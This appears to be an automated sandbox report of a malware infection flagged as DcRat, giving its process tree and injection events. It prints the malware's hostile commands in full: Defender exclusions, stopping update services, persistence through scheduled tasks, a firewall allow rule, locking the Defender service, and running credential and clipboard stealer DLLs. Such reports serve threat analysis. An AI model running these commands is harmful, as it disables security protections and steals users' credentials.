Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeDebugPrivilege	1888	54B8.exe
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeShutdownPrivilege	3320	Explorer.EXE
Token: SeCreatePagefilePrivilege	3320	Explorer.EXE
Token: SeDebugPrivilege	2768	kos4.exe
Token: SeShutdownPrivilege	3320	Explorer.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2592	5B31.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1588	Broom.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3320	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 3584	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	87
PID 1668 wrote to memory of 3584	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	87
PID 1668 wrote to memory of 3584	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	87
PID 3584 wrote to memory of 3068	3584	ay6gH85.exe	88
PID 3584 wrote to memory of 3068	3584	ay6gH85.exe	88
PID 3584 wrote to memory of 3068	3584	ay6gH85.exe	88
PID 3068 wrote to memory of 4828	3068	ZJ4Kd86.exe	89
PID 3068 wrote to memory of 4828	3068	ZJ4Kd86.exe	89
PID 3068 wrote to memory of 4828	3068	ZJ4Kd86.exe	89
PID 4828 wrote to memory of 4540	4828	Tg7fO10.exe	91
PID 4828 wrote to memory of 4540	4828	Tg7fO10.exe	91
PID 4828 wrote to memory of 4540	4828	Tg7fO10.exe	91
PID 4540 wrote to memory of 2332	4540	gT2FV59.exe	92
PID 4540 wrote to memory of 2332	4540	gT2FV59.exe	92
PID 4540 wrote to memory of 2332	4540	gT2FV59.exe	92
PID 4540 wrote to memory of 3136	4540	gT2FV59.exe	100
PID 4540 wrote to memory of 3136	4540	gT2FV59.exe	100
PID 4540 wrote to memory of 3136	4540	gT2FV59.exe	100
PID 3136 wrote to memory of 2128	3136	2px0864.exe	102
PID 3136 wrote to memory of 2128	3136	2px0864.exe	102
PID 3136 wrote to memory of 2128	3136	2px0864.exe	102
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 3136 wrote to memory of 3960	3136	2px0864.exe	103
PID 4828 wrote to memory of 4824	4828	Tg7fO10.exe	108
PID 4828 wrote to memory of 4824	4828	Tg7fO10.exe	108
PID 4828 wrote to memory of 4824	4828	Tg7fO10.exe	108
PID 3068 wrote to memory of 3344	3068	ZJ4Kd86.exe	109
PID 3068 wrote to memory of 3344	3068	ZJ4Kd86.exe	109
PID 3068 wrote to memory of 3344	3068	ZJ4Kd86.exe	109
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3344 wrote to memory of 3756	3344	4at211pC.exe	111
PID 3584 wrote to memory of 4444	3584	ay6gH85.exe	114
PID 3584 wrote to memory of 4444	3584	ay6gH85.exe	114
PID 3584 wrote to memory of 4444	3584	ay6gH85.exe	114
PID 1668 wrote to memory of 3416	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	115
PID 1668 wrote to memory of 3416	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	115
PID 1668 wrote to memory of 3416	1668	a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe	115
PID 3416 wrote to memory of 3516	3416	7rU8OA79.exe	117
PID 3416 wrote to memory of 3516	3416	7rU8OA79.exe	117
PID 3416 wrote to memory of 3516	3416	7rU8OA79.exe	117
PID 3320 wrote to memory of 3628	3320	Explorer.EXE	127
PID 3320 wrote to memory of 3628	3320	Explorer.EXE	127
PID 3320 wrote to memory of 3628	3320	Explorer.EXE	127
PID 3320 wrote to memory of 1760	3320	Explorer.EXE	130
PID 3320 wrote to memory of 1760	3320	Explorer.EXE	130
PID 3320 wrote to memory of 1760	3320	Explorer.EXE	130
PID 3628 wrote to memory of 640	3628	2D26.exe	129
PID 3628 wrote to memory of 640	3628	2D26.exe	129
PID 3628 wrote to memory of 640	3628	2D26.exe	129
PID 640 wrote to memory of 1040	640	IN9Hc8mW.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3320
- C:\Users\Admin\AppData\Local\Temp\a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe
  "C:\Users\Admin\AppData\Local\Temp\a0b8e3e0f477566772030f1e7d50739c63770dba92b5aa1eb48848cd19d89d82.exe"
  2⤵
  - DcRat
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ay6gH85.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ay6gH85.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3584
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\ZJ4Kd86.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\ZJ4Kd86.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Tg7fO10.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Tg7fO10.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:4828
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\gT2FV59.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\gT2FV59.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:4540
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Bn54Dz6.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Bn54Dz6.exe
        7⤵
        Modifies Windows Defender Real-time Protection settings
        Executes dropped EXE
        Windows security modification
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2332
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2px0864.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2px0864.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3136
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:2128
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:3960
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3960 -s 540
        9⤵
        Program crash
        
        PID:3944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3136 -s 152
        8⤵
        Program crash
        
        PID:932
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
        8⤵
        Blocklisted process makes network request
        Loads dropped DLL
        
        PID:5004
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        9⤵
        
        PID:1124
        
        C:\Windows\system32\tar.exe
        
        tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\114462139309_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
        9⤵
        
        PID:5036
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3hr39Gy.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3hr39Gy.exe
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4824
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4at211pC.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4at211pC.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3344
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:3756
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3344 -s 608
        6⤵
        Program crash
        
        PID:2468
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6jR8KL3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6jR8KL3.exe
      4⤵
      Executes dropped EXE
      PID:4444
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7rU8OA79.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7rU8OA79.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
      4⤵
      PID:3516
- C:\Users\Admin\AppData\Local\Temp\2D26.exe
  C:\Users\Admin\AppData\Local\Temp\2D26.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN9Hc8mW.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN9Hc8mW.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CD3zP7NP.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\CD3zP7NP.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:1040
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Dm8bz1jV.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Dm8bz1jV.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3372
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Ac99vG2.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Ac99vG2.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1216
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:412
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 540
        8⤵
        Program crash
        
        PID:3248
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1216 -s 608
        7⤵
        Program crash
        
        PID:3820
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2oL344bY.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2oL344bY.exe
        6⤵
        Executes dropped EXE
        
        PID:4548
- C:\Users\Admin\AppData\Local\Temp\310F.exe
  C:\Users\Admin\AppData\Local\Temp\310F.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Users\Admin\AppData\Local\Temp\32F4.exe
  C:\Users\Admin\AppData\Local\Temp\32F4.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Users\Admin\AppData\Local\Temp\4E1E.exe
  C:\Users\Admin\AppData\Local\Temp\4E1E.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3460
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
    3⤵
    - Executes dropped EXE
    PID:4536
  - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
      C:\Users\Admin\AppData\Local\Temp\Broom.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1588
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:4712
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4276
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4908
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4408
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:3060
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:828
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        
        PID:384
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1200
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:2192
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:3924
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3536
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5060
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        
        PID:2060
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        DcRat
        Creates scheduled task(s)
        
        PID:4040
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        Executes dropped EXE
        
        PID:2516
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:1896
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:1304
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2792
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: MapViewOfSection
      PID:4668
- - C:\Users\Admin\AppData\Local\Temp\kos4.exe
    "C:\Users\Admin\AppData\Local\Temp\kos4.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4736
- C:\Users\Admin\AppData\Local\Temp\535F.exe
  C:\Users\Admin\AppData\Local\Temp\535F.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4064
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4064 -s 784
    3⤵
    - Program crash
    PID:4528
- C:\Users\Admin\AppData\Local\Temp\54B8.exe
  C:\Users\Admin\AppData\Local\Temp\54B8.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1888
- C:\Users\Admin\AppData\Local\Temp\5B31.exe
  C:\Users\Admin\AppData\Local\Temp\5B31.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:2592
- - C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
    "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1184
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F
      4⤵
      DcRat
      Creates scheduled task(s)
      PID:3572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit
      4⤵
      PID:3820
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:1428
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "Utsysc.exe" /P "Admin:N"
        5⤵
        
        PID:4200
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "Utsysc.exe" /P "Admin:R" /E
        5⤵
        
        PID:2600
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:660
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8b5234212" /P "Admin:N"
        5⤵
        
        PID:4948
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\e8b5234212" /P "Admin:R" /E
        5⤵
        
        PID:4908
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
      4⤵
      Loads dropped DLL
      PID:3136
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      PID:3344
- C:\Users\Admin\AppData\Local\Temp\C517.exe
  C:\Users\Admin\AppData\Local\Temp\C517.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:3884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:3904
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4728
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2804
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:932
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:964
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2540
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2948
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2316
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4276
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:232
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:1780
- C:\Users\Admin\AppData\Local\Temp\EF74.exe
  C:\Users\Admin\AppData\Local\Temp\EF74.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1572
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:4600
- C:\Users\Admin\AppData\Local\Temp\F2A1.exe
  C:\Users\Admin\AppData\Local\Temp\F2A1.exe
  2⤵
  - Executes dropped EXE
  PID:3656
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4660
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1312
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4516
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3232
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4740
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:860
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1872
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3388
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3188
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2600
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4340
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:600
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:2892
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:4644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3960 -ip 3960
1⤵
PID:2080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3136 -ip 3136
1⤵
PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 3344 -ip 3344
1⤵
PID:1184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 412 -ip 412
1⤵
PID:4528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1216 -ip 1216
1⤵
